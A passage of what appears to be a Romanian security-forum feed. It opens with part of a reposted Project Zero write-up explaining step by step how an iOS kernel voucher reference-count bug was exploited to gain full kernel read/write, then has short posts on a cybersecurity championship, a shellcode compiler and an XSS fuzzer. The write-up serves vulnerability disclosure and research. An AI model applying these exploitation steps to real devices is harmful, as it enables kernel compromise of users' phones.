the voucher. There are a few places in the kernel that directly or indirectly store voucher pointers, including struct ipc_kmsg's ikm_voucher field and struct thread's ith_voucher field. Of these, the easiest to use is ith_voucher, since we can directly read and write this field's value from userspace by calling thread_get_mach_voucher() and thread_set_mach_voucher(). Thus, we can make ith_voucher point to a freed voucher by first calling thread_set_mach_voucher() to store a reference to the voucher, then using our voucher bug to remove the added reference, and finally deallocating the voucher port in userspace to free the voucher. Next consider how to reallocate the voucher with something useful. ipc_voucher objects live in their own zalloc zone, ipc.vouchers, so we could easily get our freed voucher reallocated with another voucher object. Reallocating with any other type of object, however, would require us to force the kernel to perform zone garbage collection and move a page containing only freed vouchers over to another zone. Unfortunately, vouchers don't seem to store any significant privilege-relevant attributes, so reallocating our freed voucher with another voucher probably isn't helpful. That means we'll have to perform zone gc and reallocate the voucher with another type of object. In order to figure out what type of object we should reallocate with, it's helpful to first examine how we will use the dangling voucher pointer in the thread's ith_voucher field. We have a few options, but the easiest is to call thread_get_mach_voucher() to create or return a voucher port for the freed voucher. This will invoke ipc_voucher_reference() and convert_voucher_to_port() on the freed ipc_voucher object, so we'll need to ensure that both iv_refs and iv_port are valid. But what makes thread_get_mach_voucher() so useful for exploitation is that it returns the voucher's Mach port back to userspace. There are two ways we could leverage this. If the freed ipc_voucher object's iv_port field is non-NULL, then that pointer gets directly interpreted as an ipc_port pointer and thread_get_mach_voucher() returns it to us as a Mach send right. On the other hand, if iv_port is NULL, then convert_voucher_to_port() will return a freshly allocated voucher port that allows us to continue manipulating the freed voucher's reference count from userspace. This brought me to the idea of reallocating the voucher using out-of-line ports. One way to send a large number of Mach port rights in a message is to list the ports in an out-of-line ports descriptor. When the kernel copies in an out-of-line ports descriptor, it allocates an array to store the list of ipc_port pointers. By sending many Mach messages containing out-of-line ports descriptors, we can reliably reallocate the freed ipc_voucher with an array of out-of-line Mach port pointers. Since we can control which elements in the array are valid ports and which are MACH_PORT_NULL, we can ensure that we overwrite the voucher's iv_port field with NULL. That way, when we call thread_get_mach_voucher() in userspace, convert_voucher_to_port() will allocate a fresh voucher port that points to the overlapping voucher. Then we can use the reference counting bug again on the returned voucher port to modify the freed voucher's iv_refs field, which will change the value of the out-of-line port pointer that overlaps iv_refs by any amount we want. Of course, we haven't yet addressed the question of ensuring that the iv_refs field is valid to begin with. As previously mentioned, iv_refs must be in the range 1-0x0fffffff if we want to reuse the freed ipc_voucher without triggering a kernel panic. The ipc_voucher structure is 0x50 bytes and the iv_refs field is at offset 0x8; since the iPhone is little-endian, this means that if we reallocate the freed voucher with an array of out-of-line ports, iv_refs will always overlap with the lower 32 bits of an ipc_port pointer. Let's call the Mach port that overlaps iv_refs the base port. Using either MACH_PORT_NULL or MACH_PORT_DEAD as the base port would result in iv_refs being either 0 or 0xffffffff, both of which are invalid. Thus, the only remaining option is to use a real Mach port as the base port, so that iv_refs is overwritten with the lower 32 bits of a real ipc_port pointer. This is dangerous because if the lower 32 bits of the base port's address are 0 or greater than 0x0fffffff, accessing the freed voucher will panic. Fortunately, kernel heap allocation on recent iOS devices is pretty well behaved: zalloc pages will be allocated from the range 0xffffffe0xxxxxxxx starting from low addresses, so as long as the heap hasn't become too unruly since the system booted (e.g. because of a heap groom or lots of activity), we can be reasonably sure that the lower 32 bits of the base port's address will lie within the required range. Hence overlapping iv_refs with an out-of-line Mach port pointer will almost certainly work fine if the exploit is run after a fresh boot. This gives us our working strategy to exploit this bug: Allocate a page of Mach vouchers. Store a pointer to the target voucher in the thread's ith_voucher field and drop the added reference using the vulnerability. Deallocate the voucher ports, freeing all the vouchers. Force zone gc and reallocate the page of freed vouchers with an array of out-of-line ports. Overlap the target voucher's iv_refs field with the lower 32 bits of a pointer to the base port and overlap the voucher's iv_port field with NULL. Call thread_get_mach_voucher() to retrieve a voucher port for the voucher overlapping the out-of-line ports. Use the vulnerability again to modify the overlapping voucher's iv_refs field, which changes the out-of-line base port pointer so that it points somewhere else instead. Once we receive the Mach message containing the out-of-line ports, we get a send right to arbitrary memory interpreted as an ipc_port. Pipe dreams So what should we get a send right to? Ideally we'd be able to fully control the contents of the fake ipc_port we receive without having to play risky games by deallocating and then reallocating the memory backing the fake port. Ian actually came up with a great technique for this in his multi_path and empty_list exploits using pipe buffers. Our exploit so far allows us to modify an out-of-line pointer to the base port so that it points somewhere else. So, if the original base port lies directly in front of a bunch of pipe buffers in kernel memory, then we can leak voucher references to increment the base port pointer in the out-of-line ports array so that it points into the pipe buffers instead. At this point, we can receive the message containing the out-of-line ports back in userspace. This message will contain a send right to an ipc_port that overlaps one of our pipe buffers, so we can directly read and write the contents of the fake ipc_port's memory by reading and writing the overlapping pipe's file descriptors. tfp0 Once we have a send right to a completely controllable ipc_port object, exploitation is basically deterministic. We can build a basic kernel memory read primitive using the same old pid_for_task() trick: convert our port into a fake task port such that the fake task's bsd_info field (which is a pointer to a proc struct) points to the memory we want to read, and then call pid_for_task() to read the 4 bytes overlapping bsd_info->p_pid. Unfortunately, there's a small catch: we don't know the address of our pipe buffer in kernel memory, so we don't know where to make our fake task port's ip_kobject field point. We can get around this by instead placing our fake task struct in a Mach message that we send to the fake port, after which we can read the pipe buffer overlapping the port and get the address of the message containing our fake task from the port's ip_messages.imq_messages field. Once we know the address of the ipc_kmsg containing our fake task, we can overwrite the contents of the fake port to turn it into a task port pointing to the fake task, and then call pid_for_task() on the fake task port as usual to read 4 bytes of arbitrary kernel memory. An unfortunate consequence of this approach is that it leaks one ipc_kmsg struct for each 4-byte read. Thus, we'll want to build a better read primitive as quickly as possible and then free all the leaked messages. In order to get the address of the pipe buffer we can leverage the fact that it resides at a known offset from the address of the base port. We can call mach_port_request_notification() on the fake port to add a request that the base port be notified once the fake port becomes a dead name. This causes the fake port's ip_requests field to point to a freshly allocated array containing a pointer to the base port, which means we can use our memory read primitive to read out the address of the base port and compute the address of the pipe buffer. At this point we can build a fake kernel task inside the pipe buffer, giving us full kernel read/write. Next we allocate kernel memory with mach_vm_allocate(), write a new fake kernel task inside that memory, and then modify the fake port pointer in our process's ipc_entry table to point to the new kernel task instead. Finally, once we have our new kernel task port, we can clean up all the leaked memory. And that's the complete exploit! You can find exploit code for the iPhone XS, iPhone XR, and iPhone 8 here: voucher_swap. A more in-depth, step-by-step technical analysis of the exploit technique is available in the source code. Bug collision I reported this vulnerability to Apple on December 6, 2018, and by December 19th Apple had already released iOS 12.1.3 beta build 16D5032a which fixed the issue. Since this would be an incredibly quick turnaround for Apple, I suspected that this bug was found and reported by some other party first. I subsequently learned that this bug was independently discovered and exploited by Qixun Zhao (@S0rryMybad) of Qihoo 360 Vulcan Team. Amusingly, we were both led to this bug through semaphore_destroy(); thus, I wouldn't be surprised to learn that this bug was broadly known before being fixed. SorryMybad used this vulnerability as part of a remote jailbreak for the Tianfu Cup; you can read about his strategy for obtaining tfp0. Conclusion This post looked at the discovery and exploitation of P0 issue 1731, an IPC voucher reference counting issue rooted in failing to follow MIG semantics for inout objects. When run a few seconds after a fresh boot, the exploit strategy discussed here is quite reliable: on the devices I've tested, the exploit succeeds upwards of 99% of the time. The exploit is also straightforward enough that, when successful, it allows us to clean up all leaked resources and leave the system in a completely stable state. In a way, it's surprising that such "easy" vulnerabilities still exist: after all, XNU is open source and heavily scrutinized for valuable bugs like this. However, MIG semantics are very unintuitive and don't align well with the natural patterns for writing secure kernel code. While I'd love to believe that this is the last major MIG bug, I wouldn't be surprised to see at least a few more crop up. This bug is also a good reminder that placeholder code can also introduce security vulnerabilities and should be scrutinized as tightly as functional code, no matter how simple it may seem. And finally, it's worth noting that the biggest headache for me while exploiting this bug, the limited range of allowed reference count values, wasn't even an issue on iOS versions prior to 12. On earlier platforms, this bug would have always been incredibly reliable, not just directly after a clean boot. Thus, it's good to see that even though os_refcnt_t didn't stop this bug from being exploited, the mitigation at least impacts exploit reliability, and probably decreases the value of bugs like this to attackers. My next post will show how to use this exploit to analyze Apple's implementation of Pointer Authentication, culminating in a technique that allows us to forge PACs for pointers signed with the A keys. This is sufficient to call arbitrary kernel functions or execute arbitrary code in the kernel via JOP. Posted by Ben at 10:15 AM Sursa: https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html
-
Cel mai probabil se trimite un request de scos din blacklist catre ei. Cum si unde? Nu am idee.
-
Probabil search engine-ul lor a gasit cine stie ce lucruri interesante pe la noi (e.g. cod?) si RST a fost blacklistat.
-
Da, limita de varsta trebuie respectata. E important: in acest an concursul se va desfasura in Romania si ar fi bine ca Romania sa faca o impresie buna. Recomand tuturor celor pasionati de security sa se inscrie. Cateva detalii despre cum a fost anul trecut sunt disponibile in prezentarea unuia dintre baietii care a participat anul trecut:
-
S-au deschis înscrierile pentru Campionatul European de Securitate Cibernetică 2019 Recomandat Ioana Tanase Marți, 29 Ianuarie 2019 12:29 La sediul CERT-RO a avut loc o nouă întâlnire dedicată organizării European Cyber Security Championship (ECSC) în România. La întrevedere au participat reprezentanţi ai CERT-RO, SRI şi ANSSI, organizatori tradiţionali ai competiţiei în România, dar şi susţinători sau posibili sponsori din spaţiul public sau privat. Discuţiile s-au concentrat pe organizarea fazei naţionale a competiţiei, precum şi etapa finală din luna octombrie, care va avea loc la Bucureşti. ECSC este un concurs la nivel european, care are ca temă securitatea cibernetică. Proiectul este susţinut anual de către European Union Agency for Network Internet Security (ENISA). În cadrul ECSC, echipele fiecărui stat participant sunt implicate atât în exerciţii de colaborare, cât şi în competiţie. Probele campionatului acoperă domenii precum securitate web, securitate mobilă, puzzleuri criptografice, inginerie inversă şi investigaţii. Concursul are o etapă naţională, prin care se face selecţia echipei României, pregătitoare pentru întrecerea finală, la nivel european. Participanţii care vor să se înscrie în competiţie trebuie să îndeplinească următoarele criterii: vârsta cuprinsă între 16 şi 25 de ani; cetăţeni ai ţării pentru care participă sau locuiesc şi urmează o formă de învăţământ în această ţară. Echipele sunt formate din 2 (maxim 3) antrenori şi maxim 10 concurenţi din 2 categorii: 5 juniori (între 16 şi 20 ani) şi 5 seniori (între 21 şi 25 ani). Vârsta de referinţă este vârsta concurentului la sfarsitul anului calendaristic. În 2018, echipa României a ocupat locul al doilea dintr-un total de 10 ţări participante la ediţia din acest an a Campionatului European de Securitate Cibernetică (ECSC) desfăşurat la Duesseldorf, în Germania, în perioada 7 - 10 noiembrie 2018. Aceasta este cea mai bună performanţă înregistrată de România în cadrul competiţiei europene şi se datorează atât experienţei acumulate în etapa anterioară şi pregătirii susţinute a membrilor echipei pe parcursul acestui an, cât şi dedicării instructorilor care le-au fost alături celor 10 componenţi ai lotului. În acelaşi timp, echipa României s-a bucurat de aprecierea juriului, fiind desemnată pentru al doilea an la rând drept echipa cu cea mai bună expunere a modului în care au rezolvat sarcinile de concurs. Inscriere: http://www.cybersecuritychallenge.ro/ Sursa: https://www.monitoruldegalati.ro/national/s-au-deschis-inscrierile-pentru-campionatul-european-de-securitate-cibernetica-2019.html
-
ShellcodeCompiler was updated! It uses now @keystone_engine to assemble shellcodes! https://github.com/NytroRST/ShellcodeCompiler
-
Bug reparat: http://xssfuzzer.com/
-
- 28 replies
-
- 3
-
-
-
- cafea
- energizante
-
(and 1 more)
Tagged with: